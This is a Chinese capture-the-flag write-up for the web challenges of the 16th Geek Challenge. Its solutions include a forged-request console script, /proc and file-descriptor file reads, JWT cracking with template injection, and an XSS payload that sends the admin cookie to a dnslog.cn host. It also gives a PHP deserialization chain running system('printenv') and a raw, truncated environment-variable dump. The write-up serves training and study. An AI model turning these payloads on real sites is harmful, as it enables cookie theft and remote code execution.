第16届极客大挑战-web

本文最后更新于 2025年11月27日 晚上

阿基里斯追乌龟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// 在控制台运行以下代码(绕过按钮逻辑,直接发请求)
(async () => {
const limit = 100000000000 / 9; // 精确极限值:11111111111.111111...

const payload = {
achilles_distance: limit + 1, // 直接超一点
tortoise_distance: limit // 乌龟还没到(或刚到)
};

function encryptData(obj) {
const jsonString = JSON.stringify(obj);
return btoa(unescape(encodeURIComponent(jsonString)));
}

try {
const res = await fetch('/chase', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ data: encryptData(payload) })
});
const result = await res.json();

function decryptData(s) {
return JSON.parse(decodeURIComponent(escape(atob(s))));
}

if (result.data) {
const decrypted = decryptData(result.data);
console.log('🎯 后端响应:', decrypted);
if (decrypted.flag) {
alert('✅ 真 flag: ' + decrypted.flag);
console.log(payload);
}
} else {
console.error('❌ 错误:', result);
}
} catch (e) {
console.error('💥 请求失败:', e);
}
})();

one_last_image

用python处理的图片,但是处理之前会先上传文件到服务器,并且没有对后缀校验拦截

并且waf也很简陋

Vibe SEO

访问会报错filename参数为空,读源码

1
2
3
4
5
6
7
8

<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}

flag不在/flag,长度不够读环境变量/proc/self/environ``/proc/self/1

可以看到$flag = fopen('/my_secret.txt', 'r')打开了一个fd

读fd/dev/fd/xx最大两位数,0-99爆破

Expression

随便注册一个账号登录

发现了jwt,jwt爆破得到key是c2VjcmV0 -> secret

可以看到是express框架

jwt的payload是

1
2
3
4
5
6
{
"email": "a@a.com",
"username": "admin",
"iat": 1761367635,
"exp": 1761972435
}

查看返回唯一有关的就是username字段

结合题目名Expression可以知道是表达式注入

<%= process.env.FLAG %>

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFAYS5jb20iLCJ1c2VybmFtZSI6IjwlPSBwcm9jZXNzLmVudi5GTEFHICU-IiwiaWF0IjoxNzYxMzY3NjM1LCJleHAiOjE3NjE5NzI0MzV9.sxx-Gu3auI9qbmS8CqVWEPKFdFgyavi6aLJMdyvAL4M

Xross The Finish Line

xss过滤了单引号、双引号、空格、+、换行、回车、<img

空格用/绕过、引号用反引号

有个报告管理员按钮,猜测是拿管理员的cookie

dnslog外带

1
<svg/onload=fetch(`//${document.cookie.replace(/[^a-z0-9]/gi,`-`).substring(0,55)}ewsz7d.dnslog.cn`,{method:`POST`})>

1
SYC{019a1a1a67bd7bb1bb42fe4309afd1c9}

popself

找md5 magic字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
import re

# 只允许 ASCII 字母 + 数字
CHARS = string.ascii_letters + string.digits

def is_magic_hash(h):
"""检查是否为 0e\d+ 格式的 Magic Hash"""
return re.fullmatch(r'0e\d+', h) is not None

def find_double_md5_magic(stop_event, size=20):
while not stop_event.is_set():
# 生成随机字符串
candidate = ''.join(random.choice(CHARS) for _ in range(size))

# 第一次 MD5
h1 = hashlib.md5(candidate.encode()).hexdigest()
# 第二次 MD5
h2 = hashlib.md5(h1.encode()).hexdigest()

# 检查双重 MD5 是否为 Magic Hash
if is_magic_hash(h2):
print(f"[+] Found! Input: {candidate}")
print(f" md5(input) = {h1}")
print(f" md5(md5(input)) = {h2}")
stop_event.set()

if __name__ == '__main__':
if len(sys.argv) > 1:
try:
size = int(sys.argv[1])
except:
size = 20
else:
size = 20

print(f"[*] Starting brute-force for double MD5 Magic Hash (length={size})...")
print("[*] Looking for md5(md5(x)) matching /^0e\\d+$/")

stop_event = multiprocessing.Event()
cpu_count = multiprocessing.cpu_count()
processes = []

for _ in range(cpu_count):
p = multiprocessing.Process(target=find_double_md5_magic, args=(stop_event, size))
processes.append(p)
p.start()

try:
for p in processes:
p.join()
except KeyboardInterrupt:
print("\n[!] Stopped by user.")
stop_event.set()
for p in processes:
p.terminate()

跑了快一小时

NnWWBiYnDZ5CCLbZap5z

得到

1
2
public $KiraKiraAyu = "NnWWBiYnDZ5CCLbZap5z";
public $K4per = "s1885207154a";

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

class All_in_one {
public $Samsāra;
public $ivory;
public $_4ak5ra;
public $KiraKiraAyu;
public $K4per;
public $QYQS;
public $Fox;
public $komiko;
public $Eureka;
public $sleep3r;
public $L;


}

// 构建对象
$sleep3r = new All_in_one();
$sleep3r->Samsāra = "system";
$sleep3r->ivory = "printenv";
$sleep3r->_4ak5ra = $sleep3r;

$qyqs = new All_in_one();
$qyqs->KiraKiraAyu = "NnWWBiYnDZ5CCLbZap5z";
$qyqs->K4per = "s1885207154a";
$qyqs->QYQS = null;
$qyqs->Fox = ["summer", "find_myself"];
$qyqs->L = "1e5";
$qyqs->sleep3r = $sleep3r;

$main = new All_in_one();
$main->KiraKiraAyu = "NnWWBiYnDZ5CCLbZap5z";
$main->K4per = "s1885207154a";
$main->QYQS = $qyqs;

$qyqs->komiko = $main;


echo urlencode(serialize($main));
?>

payload

1
?24[SYC.zip=O%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A8%3A%22Sams%C4%81ra%22%3BN%3Bs%3A5%3A%22ivory%22%3BN%3Bs%3A7%3A%22_4ak5ra%22%3BN%3Bs%3A11%3A%22KiraKiraAyu%22%3Bs%3A20%3A%22NnWWBiYnDZ5CCLbZap5z%22%3Bs%3A5%3A%22K4per%22%3Bs%3A12%3A%22s1885207154a%22%3Bs%3A4%3A%22QYQS%22%3BO%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A8%3A%22Sams%C4%81ra%22%3BN%3Bs%3A5%3A%22ivory%22%3BN%3Bs%3A7%3A%22_4ak5ra%22%3BN%3Bs%3A11%3A%22KiraKiraAyu%22%3Bs%3A20%3A%22NnWWBiYnDZ5CCLbZap5z%22%3Bs%3A5%3A%22K4per%22%3Bs%3A12%3A%22s1885207154a%22%3Bs%3A4%3A%22QYQS%22%3BN%3Bs%3A3%3A%22Fox%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22summer%22%3Bi%3A1%3Bs%3A11%3A%22find_myself%22%3B%7Ds%3A6%3A%22komiko%22%3Br%3A1%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A7%3A%22sleep3r%22%3BO%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A8%3A%22Sams%C4%81ra%22%3Bs%3A6%3A%22system%22%3Bs%3A5%3A%22ivory%22%3Bs%3A8%3A%22printenv%22%3Bs%3A7%3A%22_4ak5ra%22%3Br%3A19%3Bs%3A11%3A%22KiraKiraAyu%22%3BN%3Bs%3A5%3A%22K4per%22%3BN%3Bs%3A4%3A%22QYQS%22%3BN%3Bs%3A3%3A%22Fox%22%3BN%3Bs%3A6%3A%22komiko%22%3BN%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A7%3A%22sleep3r%22%3BN%3Bs%3A1%3A%22L%22%3BN%3B%7Ds%3A1%3A%22L%22%3Bs%3A3%3A%221e5%22%3B%7Ds%3A3%3A%22Fox%22%3BN%3Bs%3A6%3A%22komiko%22%3BN%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A7%3A%22sleep3r%22%3BN%3Bs%3A1%3A%22L%22%3BN%3B%7D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
反序列化主对象

→ 触发 __destruct()(题目隐式调用)

→ 调用 $this->QYQS->KiraKiraAyu(..., $this->QYQS->sleep3r)

→ 因 QYQS 无此方法,触发 __call

→ __call 中 echo $sleep3r

→ 触发 $sleep3r->__toString()

→ $sleep3r->__toString() 调用 $this->_4ak5ra()(即自身)

→ 触发 $sleep3r->__invoke()

→ 执行 system("printenv")

ez read

/read?filename=可以读文件,读/flag时回显500

尝试读/read?filename=/proc/1/environ

1
CHALLENGE_019A2F96_3005_019A1452_7100_SERVICE_PORT_PORT_80=80CHALLENGE_019A01F3_1DAB_019A1106_F63C_SERVICE_PORT=9999CHALLENGE_019A2A57_B142_019A1164_4D72_SERVICE_PORT=80CHALLENGE_019A2A57_B142_019A1164_4D72_PORT=tcp://10.96.137.49:80CHALLENGE_019A01F3_1DAB_019A1106_F63C_PORT=tcp://10.103.9.232:9999CHALLENGE_019A2F96_3005_019A116C_5742_PORT_80_TCP_PORT=80CHALLENGE_019A3930_7228_019A13C4_5DC1_PORT_1608_TCP_PORT=1608CHALLENGE_019A2B37_D8ED_019A1189_B8EA_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A120E_3F96_019A2097_1701_PORT_11451_TCP=tcp://10.101.48.95:11451CHALLENGE_019A2F96_3005_019A10F8_26AC_PORT_80_TCP=tcp://10.102.233.156:80KUBERNETES_SERVICE_PORT=443KUBERNETES_PORT=tcp://10.96.0.1:443CHALLENGE_019A14B0_82BF_019A271D_1BA7_SERVICE_PORT_PORT_80=80CHALLENGE_019A14F3_38E2_019A1172_7DFE_PORT_8080_TCP_PORT=8080CHALLENGE_019A2F96_3005_019A1163_0D60_PORT_80_TCP=tcp://10.104.193.110:80CHALLENGE_019A3030_9A18_019A1177_1FF0_PORT=tcp://10.101.68.107:9999CHALLENGE_019A3030_9A18_019A1177_1FF0_SERVICE_PORT=9999CHALLENGE_019A2B37_D8ED_019A1163_0D60_PORT_8080_TCP=tcp://10.100.188.219:8080CHALLENGE_019A2F96_3005_019A116C_5742_PORT_80_TCP_PROTO=tcpCHALLENGE_019A2F96_3005_019A11A4_3A42_PORT_80_TCP_ADDR=10.102.138.59CHALLENGE_019A14BC_61DE_019A115B_F254_PORT_8080_TCP_ADDR=10.104.240.16CHALLENGE_019A2A57_B142_019A1164_38E2_PORT=tcp://10.109.157.128:80CHALLENGE_019A3930_7228_019A13C4_5DC1_PORT_1608_TCP_PROTO=tcpCHALLENGE_019A01D2_4CF4_019A1163_E18C_PORT_80_TCP_PORT=80CHALLENGE_019A2A57_B142_019A1164_38E2_SERVICE_PORT=80CHALLENGE_019A14BC_61DE_019A115B_F254_SERVICE_HOST=10.104.240.16CHALLENGE_019A01F3_1DAB_019A1106_F63C_SERVICE_PORT_PORT_9999=9999CHALLENGE_019A09FC_908C_019A271D_1BA7_PORT_3000_TCP_PORT=3000CHALLENGE_019A14F3_38E2_019A1183_1B52_PORT=tcp://10.106.42.202:8080CHALLENGE_019A2F4D_887A_019A1413_E2D6_PORT_8080_TCP_PORT=8080CHALLENGE_019A01D2_4CF4_019A35CA_EAD7_PORT=tcp://10.98.143.81:80CHALLENGE_019A14BC_61DE_019A196C_954A_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A14F3_38E2_019A1183_1B52_SERVICE_PORT=8080CHALLENGE_019A2B37_D8ED_019A25BD_0D7A_PORT_8080_TCP_ADDR=10.104.219.255CHALLENGE_019A01D2_4CF4_019A1163_E18C_PORT_80_TCP_PROTO=tcpCHALLENGE_019A01D2_4CF4_019A35CA_EAD7_SERVICE_PORT=80CHALLENGE_019A14F3_38E2_019A1172_7DFE_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A10D0_2FA4_019A3A7C_EFC7_PORT=tcp://10.100.35.136:3000CHALLENGE_019A10D0_2FA4_019A3A7C_EFC7_SERVICE_PORT=3000CHALLENGE_019A2B37_D8ED_019A25BD_0D7A_SERVICE_HOST=10.104.219.255CHALLENGE_019A2A57_B142_019A1178_33A1_PORT_80_TCP_ADDR=10.101.5.173CHALLENGE_019A39FF_DB7B_019A20C5_9E59_SERVICE_HOST=10.109.15.4CHALLENGE_019A3930_7228_019A25B9_0131_PORT_1608_TCP_ADDR=10.104.179.135CHALLENGE_019A3030_9A18_019A1177_1FF0_SERVICE_PORT_PORT_9999=9999CHALLENGE_019A2B37_D8ED_019A1189_B8EA_SERVICE_PORT=8080CHALLENGE_019A14F3_38E2_019A1619_1B4B_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A3930_7228_019A20C5_9E59_PORT=tcp://10.100.199.68:1608CHALLENGE_019A09FC_908C_019A271D_1BA7_PORT_3000_TCP_PROTO=tcpCHALLENGE_019A2B37_D8ED_019A1189_B8EA_PORT=tcp://10.96.18.82:8080CHALLENGE_019A3930_7228_019A20C5_9E59_SERVICE_PORT=1608CHALLENGE_019A09FC_908C_019A3D0B_DC2F_PORT_3000_TCP=tcp://10.110.8.123:3000CHALLENGE_019A2F4D_887A_019A1413_E2D6_PORT_8080_TCP_PROTO=tcpHOSTNAME=challenge-019a2b37-d8ed-019a1189-b8ea-cf95899f9-7fvl2CHALLENGE_019A09FC_908C_019A3D0B_DC2F_SERVICE_HOST=10.110.8.123CHALLENGE_019A14BC_61DE_019A115B_F254_PORT_8080_TCP_PORT=8080CHALLENGE_019A2B37_D8ED_019A161B_F82E_PORT_8080_TCP=tcp://10.107.77.251:8080CHALLENGE_019A3930_7228_019A25B9_0131_SERVICE_HOST=10.104.179.135CHALLENGE_019A2F96_3005_019A11A4_3A42_PORT_80_TCP_PORT=80CHALLENGE_019A01F3_1DAB_019A1169_2434_SERVICE_HOST=10.99.26.40CHALLENGE_019A3930_7228_019A13C4_5DC1_SERVICE_PORT=1608CHALLENGE_019A14BC_61DE_019A115B_F254_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A39FF_DB7B_019A20C5_9E59_SERVICE_PORT_PORT_80=80CHALLENGE_019A3930_7228_019A13C4_5DC1_PORT=tcp://10.107.33.156:1608CHALLENGE_019A392B_AF8E_019A1163_EC72_PORT_8000_TCP_ADDR=10.103.51.43CHALLENGE_019A2F4D_887A_019A1190_1058_PORT_8080_TCP_ADDR=10.96.141.142CHALLENGE_019A2B37_D8ED_019A25BD_0D7A_PORT_8080_TCP_PORT=8080CHALLENGE_019A14F3_38E2_019A1172_7DFE_PORT=tcp://10.96.78.40:8080CHALLENGE_019A2F96_3005_019A11A4_3A42_PORT_80_TCP_PROTO=tcpCHALLENGE_019A2F96_3005_019A1452_7100_SERVICE_PORT=80CHALLENGE_019A10D0_2FA4_019A3A54_A4AD_PORT_3000_TCP=tcp://10.106.2.207:3000CHALLENGE_019A14F3_38E2_019A1561_42FC_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A14F3_38E2_019A1172_7DFE_SERVICE_PORT=8080CHALLENGE_019A2F4D_887A_019A1190_1058_SERVICE_HOST=10.96.141.142CHALLENGE_019A2A57_B142_019A1178_33A1_PORT_80_TCP_PORT=80CHALLENGE_019A2F96_3005_019A1452_7100_PORT=tcp://10.98.3.193:80CHALLENGE_019A2F4D_887A_019A173B_A0B1_SERVICE_HOST=10.103.169.56CHALLENGE_019A09FC_908C_019A2FD8_DC35_PORT=tcp://10.105.211.61:3000CHALLENGE_019A2B37_D8ED_019A25BD_0D7A_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A2F4D_887A_019A173B_A0B1_PORT_8080_TCP_ADDR=10.103.169.56CHALLENGE_019A10D0_2FA4_019A3A54_A4AD_SERVICE_HOST=10.106.2.207CHALLENGE_019A09FC_908C_019A2FD8_DC35_SERVICE_PORT=3000CHALLENGE_019A2F4D_887A_019A1413_E2D6_SERVICE_PORT=8080CHALLENGE_019A2F4D_887A_019A1413_E2D6_PORT=tcp://10.100.105.198:8080CHALLENGE_019A3930_7228_019A25B9_0131_PORT_1608_TCP_PORT=1608CHALLENGE_019A14B0_82BF_019A271D_1BA7_PORT=tcp://10.108.245.2:80CHALLENGE_019A2A57_B142_019A1178_33A1_PORT_80_TCP_PROTO=tcpCHALLENGE_019A10D0_2FA4_019A16D9_C06C_SERVICE_PORT=3000CHALLENGE_019A10D0_2FA4_019A16D9_C06C_PORT=tcp://10.100.210.27:3000CHALLENGE_019A2A57_B142_019A1164_4D72_PORT_80_TCP_ADDR=10.96.137.49CHALLENGE_019A14B0_82BF_019A271D_1BA7_SERVICE_PORT=80OLDPWD=/opt/___web_very_strange_42___CHALLENGE_019A3930_7228_019A25B9_0131_PORT_1608_TCP_PROTO=tcpCHALLENGE_019A3930_7228_019A20C5_9E59_PORT_1608_TCP=tcp://10.100.199.68:1608CHALLENGE_019A14F3_38E2_019A1183_1B52_PORT_8080_TCP=tcp://10.106.42.202:8080CHALLENGE_019A277E_5882_019A1404_B071_PORT_9999_TCP_ADDR=10.96.89.68CHALLENGE_019A144E_ED12_019A259E_BD4B_PORT_19937_TCP_ADDR=10.104.10.227CHALLENGE_019A2A57_B142_019A1164_38E2_PORT_80_TCP_ADDR=10.109.157.128CHALLENGE_019A2B37_D8ED_019A1F07_13E0_PORT_8080_TCP_ADDR=10.111.212.219CHALLENGE_019A2B37_D8ED_019A1F07_13E0_SERVICE_HOST=10.111.212.219PYTHONUNBUFFERED=1CHALLENGE_019A392B_AF8E_019A1163_EC72_PORT_8000_TCP_PORT=8000CHALLENGE_019A01D2_4CF4_019A35CA_EAD7_PORT_80_TCP_ADDR=10.98.143.81CHALLENGE_019A14BC_61DE_019A115B_F254_PORT=tcp://10.104.240.16:8080CHALLENGE_019A2B37_D8ED_019A1189_B8EA_PORT_8080_TCP=tcp://10.96.18.82:8080CHALLENGE_019A2F4D_887A_019A1190_1058_PORT_8080_TCP_PORT=8080CHALLENGE_019A1374_D56D_019A1169_2434_PORT_9999_TCP_ADDR=10.102.235.195CHALLENGE_019A14BC_61DE_019A115B_F254_SERVICE_PORT=8080GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DCHALLENGE_019A2F4D_887A_019A1190_1058_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A392B_AF8E_019A1163_EC72_PORT_8000_TCP_PROTO=tcpCHALLENGE_019A2F4D_887A_019A14E4_E386_SERVICE_HOST=10.101.148.145CHALLENGE_019A2F96_3005_019A116C_5742_PORT_80_TCP=tcp://10.109.69.25:80CHALLENGE_019A2B37_D8ED_019A25BD_0D7A_SERVICE_PORT=8080CHALLENGE_019A3930_7228_019A13C4_5DC1_PORT_1608_TCP=tcp://10.107.33.156:1608CHALLENGE_019A2F4D_887A_019A173B_A0B1_PORT_8080_TCP_PORT=8080CHALLENGE_019A2F4D_887A_019A14E4_E386_PORT_8080_TCP_ADDR=10.101.148.145CHALLENGE_019A2B37_D8ED_019A25BD_0D7A_PORT=tcp://10.104.219.255:8080CHALLENGE_019A2A57_B142_019A1164_4D72_PORT_80_TCP_PORT=80CHALLENGE_019A01D2_4CF4_019A1163_E18C_PORT_80_TCP=tcp://10.102.122.24:80CHALLENGE_019A277E_5882_019A1404_B071_PORT_9999_TCP_PORT=9999CHALLENGE_019A144E_ED12_019A259E_BD4B_PORT_19937_TCP_PORT=19937CHALLENGE_019A39FF_DB7B_019A20C5_9E59_SERVICE_PORT=80CHALLENGE_019A2B37_D8ED_019A1F07_13E0_PORT_8080_TCP_PORT=8080CHALLENGE_019A14B0_CA72_019A1160_0021_SERVICE_HOST=10.98.170.4CHALLENGE_019A120E_3F96_019A1163_EC72_SERVICE_PORT_PORT_11451=11451CHALLENGE_019A2A57_B142_019A1164_4D72_PORT_80_TCP_PROTO=tcpCHALLENGE_019A2F4D_887A_019A173B_A0B1_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A10D0_2FA4_019A3A7C_EFC7_SERVICE_PORT_PORT_3000=3000CHALLENGE_019A2A57_B142_019A1164_38E2_PORT_80_TCP_PORT=80CHALLENGE_019A39FF_DB7B_019A20C5_9E59_PORT=tcp://10.109.15.4:80CHALLENGE_019A14F3_38E2_019A1172_7DFE_PORT_8080_TCP=tcp://10.96.78.40:8080PYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78CHALLENGE_019A01F3_1DAB_019A1169_2434_PORT=tcp://10.99.26.40:9999CHALLENGE_019A09FC_908C_019A3D0B_DC2F_PORT=tcp://10.110.8.123:3000CHALLENGE_019A2F4D_887A_019A1413_E2D6_PORT_8080_TCP=tcp://10.100.105.198:8080CHALLENGE_019A01F3_1DAB_019A1169_2434_SERVICE_PORT=9999CHALLENGE_019A144E_ED12_019A259E_BD4B_PORT_19937_TCP_PROTO=tcpCHALLENGE_019A277E_5882_019A1404_B071_PORT_9999_TCP_PROTO=tcpCHALLENGE_019A2B37_D8ED_019A1F07_13E0_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A2A57_B142_019A1164_38E2_PORT_80_TCP_PROTO=tcpCHALLENGE_019A2F96_3005_019A1452_7100_PORT_80_TCP_ADDR=10.98.3.193CHALLENGE_019A01D2_4CF4_019A35CA_EAD7_PORT_80_TCP_PORT=80CHALLENGE_019A09FC_908C_019A271D_1BA7_PORT_3000_TCP=tcp://10.97.189.159:3000CHALLENGE_019A1374_D56D_019A1169_2434_PORT_9999_TCP_PORT=9999CHALLENGE_019A09FC_908C_019A3D0B_DC2F_SERVICE_PORT=3000CHALLENGE_019A3930_7228_019A25B9_0131_PORT=tcp://10.104.179.135:1608CHALLENGE_019A3930_7228_019A25B9_0131_SERVICE_PORT=1608CHALLENGE_019A39FF_DB7B_019A25B9_0131_SERVICE_HOST=10.106.41.208CHALLENGE_019A2F4D_887A_019A1190_1058_PORT=tcp://10.96.141.142:8080CHALLENGE_019A14B0_82BF_019A271D_1BA7_PORT_80_TCP_ADDR=10.108.245.2CHALLENGE_019A1374_D56D_019A1169_2434_PORT_9999_TCP_PROTO=tcpCHALLENGE_019A14B0_CA72_019A1160_0021_SERVICE_PORT_PORT_80=80CHALLENGE_019A09FC_908C_019A271D_1BA7_SERVICE_HOST=10.97.189.159CHALLENGE_019A2F4D_887A_019A1190_1058_SERVICE_PORT=8080CHALLENGE_019A01D2_4CF4_019A35CA_EAD7_PORT_80_TCP_PROTO=tcpCHALLENGE_019A2F4D_887A_019A14E4_E386_PORT_8080_TCP_PORT=8080CHALLENGE_019A01F3_1DAB_019A1169_2434_SERVICE_PORT_PORT_9999=9999CHALLENGE_019A392B_AF8E_019A1163_EC72_SERVICE_HOST=10.103.51.43CHALLENGE_019A2F96_3005_019A11A4_3A42_PORT_80_TCP=tcp://10.102.138.59:80CHALLENGE_019A01F3_1DAB_019A1106_F63C_PORT_9999_TCP_ADDR=10.103.9.232CHALLENGE_019A14BC_61DE_019A196C_954A_PORT_8080_TCP_ADDR=10.100.14.254CHALLENGE_019A10D0_2FA4_019A3A54_A4AD_PORT=tcp://10.106.2.207:3000CHALLENGE_019A2F4D_887A_019A14E4_E386_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A14BC_61DE_019A196C_954A_SERVICE_HOST=10.100.14.254CHALLENGE_019A2F4D_887A_019A173B_A0B1_SERVICE_PORT=8080CHALLENGE_019A2F4D_887A_019A173B_A0B1_PORT=tcp://10.103.169.56:8080CHALLENGE_019A39FF_DB7B_019A25B9_0131_SERVICE_PORT_PORT_80=80CHALLENGE_019A14BC_61DE_019A115B_F254_PORT_8080_TCP=tcp://10.104.240.16:8080CHALLENGE_019A10D0_2FA4_019A3A54_A4AD_SERVICE_PORT=3000CHALLENGE_019A09FC_908C_019A2FD8_DC35_SERVICE_PORT_PORT_3000=3000CHALLENGE_019A3030_9A18_019A1177_1FF0_PORT_9999_TCP_ADDR=10.101.68.107CHALLENGE_019A2B37_D8ED_019A1F07_13E0_PORT=tcp://10.111.212.219:8080CHALLENGE_019A2F96_3005_019A1452_7100_PORT_80_TCP_PORT=80CHALLENGE_019A10D0_2FA4_019A16D9_C06C_SERVICE_PORT_PORT_3000=3000CHALLENGE_019A14F3_38E2_019A1619_1B4B_PORT_8080_TCP_ADDR=10.96.173.56CHALLENGE_019A2F96_3005_019A10F8_26AC_SERVICE_HOST=10.102.233.156CHALLENGE_019A2B37_D8ED_019A25BD_0D7A_PORT_8080_TCP=tcp://10.104.219.255:8080CHALLENGE_019A2B37_D8ED_019A1F07_13E0_SERVICE_PORT=8080CHALLENGE_019A14F3_38E2_019A1619_1B4B_SERVICE_HOST=10.96.173.56CHALLENGE_019A2A57_B142_019A1178_33A1_PORT_80_TCP=tcp://10.101.5.173:80PYTHONDONTWRITEBYTECODE=1CHALLENGE_019A14B0_82BF_019A271D_1BA7_PORT_80_TCP_PORT=80CHALLENGE_019A2F96_3005_019A1163_0D60_SERVICE_HOST=10.104.193.110CHALLENGE_019A2F96_3005_019A1452_7100_PORT_80_TCP_PROTO=tcpCHALLENGE_019A3930_7228_019A25B9_0131_PORT_1608_TCP=tcp://10.104.179.135:1608HINT=用我提个权吧CHALLENGE_019A39FF_DB7B_019A20C5_9E59_PORT_80_TCP_ADDR=10.109.15.4CHALLENGE_019A2F4D_887A_019A14E4_E386_PORT=tcp://10.101.148.145:8080CHALLENGE_019A14F3_38E2_019A1561_42FC_SERVICE_HOST=10.101.143.170CHALLENGE_019A2F4D_887A_019A14E4_E386_SERVICE_PORT=8080CHALLENGE_019A14F3_38E2_019A1561_42FC_PORT_8080_TCP_ADDR=10.101.143.170CHALLENGE_019A14BC_61DE_019A196C_954A_PORT_8080_TCP_PORT=8080CHALLENGE_019A2F96_3005_019A10F8_26AC_SERVICE_PORT_PORT_80=80CHALLENGE_019A120E_3F96_019A2097_1701_SERVICE_PORT_PORT_11451=11451CHALLENGE_019A14B0_82BF_019A271D_1BA7_PORT_80_TCP_PROTO=tcpCHALLENGE_019A120E_3F96_019A1163_EC72_SERVICE_HOST=10.97.83.117CHALLENGE_019A01F3_1DAB_019A1106_F63C_PORT_9999_TCP_PORT=9999CHALLENGE_019A01F3_1DAB_019A1106_F63C_PORT_9999_TCP_PROTO=tcpCHALLENGE_019A14F3_38E2_019A1619_1B4B_PORT_8080_TCP_PORT=8080CHALLENGE_019A2F4D_887A_019A1190_1058_PORT_8080_TCP=tcp://10.96.141.142:8080CHALLENGE_019A14BC_61DE_019A196C_954A_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A392B_AF8E_019A1163_EC72_PORT_8000_TCP=tcp://10.103.51.43:8000CHALLENGE_019A14B0_CA72_019A1160_0021_SERVICE_PORT=80CHALLENGE_019A14B0_CA72_019A1160_0021_PORT=tcp://10.98.170.4:80CHALLENGE_019A2F96_3005_019A1163_0D60_SERVICE_PORT_PORT_80=80CHALLENGE_019A2B37_D8ED_019A1163_0D60_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A3030_9A18_019A1177_1FF0_PORT_9999_TCP_PORT=9999CHALLENGE_019A2F4D_887A_019A173B_A0B1_PORT_8080_TCP=tcp://10.103.169.56:8080CHALLENGE_019A2A57_B142_019A1164_4D72_PORT_80_TCP=tcp://10.96.137.49:80CHALLENGE_019A39FF_DB7B_019A25B9_0131_SERVICE_PORT=80CHALLENGE_019A14F3_38E2_019A1619_1B4B_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A39FF_DB7B_019A25B9_0131_PORT=tcp://10.106.41.208:80CHALLENGE_019A3030_9A18_019A1177_1FF0_PORT_9999_TCP_PROTO=tcpCHALLENGE_019A277E_5882_019A1404_B071_PORT_9999_TCP=tcp://10.96.89.68:9999CHALLENGE_019A39FF_DB7B_019A20C5_9E59_PORT_80_TCP_PORT=80CHALLENGE_019A2B37_D8ED_019A1F07_13E0_PORT_8080_TCP=tcp://10.111.212.219:8080CHALLENGE_019A2A57_B142_019A1164_38E2_PORT_80_TCP=tcp://10.109.157.128:80CHALLENGE_019A09FC_908C_019A271D_1BA7_SERVICE_PORT=3000KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1CHALLENGE_019A14F3_38E2_019A1561_42FC_PORT_8080_TCP_PORT=8080CHALLENGE_019A144E_ED12_019A259E_BD4B_PORT_19937_TCP=tcp://10.104.10.227:19937CHALLENGE_019A09FC_908C_019A271D_1BA7_PORT=tcp://10.97.189.159:3000CHALLENGE_019A09FC_908C_019A3D0B_DC2F_SERVICE_PORT_PORT_3000=3000CHALLENGE_019A2B37_D8ED_019A161B_F82E_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A392B_AF8E_019A1163_EC72_PORT=tcp://10.103.51.43:8000CHALLENGE_019A14BC_61DE_019A196C_954A_SERVICE_PORT=8080CHALLENGE_019A01D2_4CF4_019A35CA_EAD7_PORT_80_TCP=tcp://10.98.143.81:80CHALLENGE_019A39FF_DB7B_019A20C5_9E59_PORT_80_TCP_PROTO=tcpCHALLENGE_019A14F3_38E2_019A1561_42FC_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A392B_AF8E_019A1163_EC72_SERVICE_PORT=8000CHALLENGE_019A14BC_61DE_019A196C_954A_PORT=tcp://10.100.14.254:8080CHALLENGE_019A1374_D56D_019A1169_2434_PORT_9999_TCP=tcp://10.102.235.195:9999PATH=/usr/local/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binCHALLENGE_019A2F96_3005_019A10F8_26AC_PORT=tcp://10.102.233.156:80CHALLENGE_019A120E_3F96_019A1163_EC72_PORT_11451_TCP_ADDR=10.97.83.117CHALLENGE_019A10D0_2FA4_019A3A7C_EFC7_PORT_3000_TCP_ADDR=10.100.35.136CHALLENGE_019A10D0_2FA4_019A3A54_A4AD_SERVICE_PORT_PORT_3000=3000CHALLENGE_019A2F4D_887A_019A14E4_E386_PORT_8080_TCP=tcp://10.101.148.145:8080CHALLENGE_019A14F3_38E2_019A1619_1B4B_SERVICE_PORT=8080CHALLENGE_019A2F96_3005_019A10F8_26AC_SERVICE_PORT=80CHALLENGE_019A14F3_38E2_019A